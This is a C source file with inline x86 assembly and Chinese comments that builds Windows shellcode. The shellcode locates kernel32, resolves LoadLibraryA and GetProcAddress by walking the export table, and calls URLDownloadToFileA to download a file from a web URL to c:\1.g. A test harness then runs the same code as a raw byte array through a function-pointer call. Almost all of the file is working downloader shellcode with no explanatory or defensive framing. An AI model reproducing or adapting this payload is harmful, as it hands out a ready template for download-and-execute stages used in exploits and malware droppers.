/*以下是源程序*/
void shellcodeFun()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
unsigned int ImageBase,flen;
char *FuncName;
__asm
{
jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi
je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx
mov eax,[eax]
add eax,ImageBase
jmp Founded
xor eax,eax
Founded:
ret
}
__asm
{
Start:
push esi
push ecx
xor eax, eax
xor esi, esi
mov esi, fs:[esi + 0x18]
mov eax, [esi+4]
mov eax, [eax - 0x1c]
find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base
pop ecx
pop esi
mov uKernelBase,eax
mov ImageBase,eax
mov flen,0x0c
call LL1
_emit 'L'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'L'
_emit 'i'
_emit 'b'
_emit 'r'
_emit 'a'
_emit 'r'
_emit 'y'
_emit 'A'
_emit 0
LL1:
pop eax
mov FuncName,eax
call GetFunc
mov uLoadLibrary,eax
mov flen,0x0E
call LL2
_emit 'G'
_emit 'e'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'A'
_emit 'd'
_emit 'd'
_emit 'r'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
LL2:
pop eax
mov FuncName,eax
call GetFunc
mov uGetProcAddress,eax
call l1
_emit 'u'
_emit 'r'
_emit 'l'
_emit 'm'
_emit 'o'
_emit 'n'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
l1:
call uLoadLibrary
mov ebx,eax
call l2
_emit 'U'
_emit 'R'
_emit 'L'
_emit 'D'
_emit 'o'
_emit 'w'
_emit 'n'
_emit 'l'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'T'
_emit 'o'
_emit 'F'
_emit 'i'
_emit 'l'
_emit 'e'
_emit 'A'
_emit 0
l2:
push ebx
call uGetProcAddress
push 0
push 0
call func1
_emit 'c'
_emit ':'
_emit '\\'
_emit '1'
_emit '.'
_emit 'g'
_emit 0
func1:
call func2
_emit 'h'
_emit 't'
_emit 't'
_emit 'p'
_emit ':'
_emit '/'
_emit '/'
_emit 'w'
_emit 'w'
_emit 'w'
_emit '.'
_emit 'b'
_emit 'a'
_emit 'i'
_emit 'd'
_emit 'u'
_emit '.'
_emit 'c'
_emit 'o'
_emit 'm'
_emit '/'
_emit 'i'
_emit 'm'
_emit 'g'
_emit '/'
_emit 'l'
_emit 'o'
_emit 'g'
_emit 'o'
_emit '.'
_emit 'g'
_emit 'i'
_emit 'f'
_emit 0
func2:
push 0
call eax
_emit '*'
_emit '*'
}
}
void main(void)
{
shellcodeFun();
}
///以下是测试程序：
unsigned char shellcode[]={
0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0xEB,
0x56,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x03,0x45,0xF0,
0x8B,0x40,0x78,0x03,0x45,0xF0,0x8B,0xF0,0x8B,0x48,
0x18,0x8B,0x40,0x20,0x03,0x45,0xF0,0x8B,0xD8,0x33,
0xD2,0x51,0x56,0x8B,0x00,0x03,0x45,0xF0,0x8B,0x75,
0xE8,0x8B,0xF8,0x8B,0x4D,0xEC,0xFC,0xF3,0xA6,0x5E,
0x74,0x09,0x42,0x83,0xC3,0x04,0x8B,0xC3,0x59,0xE2,
0xE2,0x83,0xC4,0x04,0x8B,0xC6,0x8B,0x40,0x1C,0x03,
0x45,0xF0,0xC1,0xE2,0x02,0x03,0xC2,0x8B,0x00,0x03,
0x45,0xF0,0xEB,0x02,0x33,0xC0,0xC3,0x56,0x51,0x33,
0xC0,0x33,0xF6,0x64,0x8B,0x76,0x18,0x8B,0x46,0x04,
0x8B,0x40,0xE4,0x48,0x66,0x33,0xC0,0x66,0x81,0x38,
0x4D,0x5A,0x75,0xF5,0x59,0x5E,0x89,0x45,0xF4,0x89,
0x45,0xF0,0xC7,0x45,0xEC,0x0C,0x00,0x00,0x00,0xE8,
0x0D,0x00,0x00,0x00,0x4C,0x6F,0x61,0x64,0x4C,0x69,
0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x58,0x89,0x45,
0xE8,0xE8,0x65,0xFF,0xFF,0xFF,0x89,0x45,0xFC,0xC7,
0x45,0xEC,0x0E,0x00,0x00,0x00,0xE8,0x0F,0x00,0x00,
0x00,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,
0x64,0x72,0x65,0x73,0x73,0x00,0x58,0x89,0x45,0xE8,
0xE8,0x3E,0xFF,0xFF,0xFF,0x89,0x45,0xF8,0xE8,0x0B,
0x00,0x00,0x00,0x75,0x72,0x6C,0x6D,0x6F,0x6E,0x2E,
0x64,0x6C,0x6C,0x00,0xFF,0x55,0xFC,0x8B,0xD8,0xE8,
0x13,0x00,0x00,0x00,0x55,0x52,0x4C,0x44,0x6F,0x77,
0x6E,0x6C,0x6F,0x61,0x64,0x54,0x6F,0x46,0x69,0x6C,
0x65,0x41,0x00,0x53,0xFF,0x55,0xF8,0x6A,0x00,0x6A,
0x00,0xE8,0x07,0x00,0x00,0x00,0x63,0x3A,0x5C,0x31,
0x2E,0x67,0x00,0xE8,0x22,0x00,0x00,0x00,0x68,0x74,
0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77,0x77,0x2E,0x62,
0x61,0x69,0x64,0x75,0x2E,0x63,0x6F,0x6D,0x2F,0x69,
0x6D,0x67,0x2F,0x6C,0x6F,0x67,0x6F,0x2E,0x67,0x69,
0x66,0x00,0x6A,0x00,0xFF,0xD0,0x5F,0x5E,0x5B,0x8B,
0xE5,0x5D,0xC3
};
int main(int argc, char* argv[])
{
_asm
{
lea eax,shellcode
call eax
}
return 0;
}
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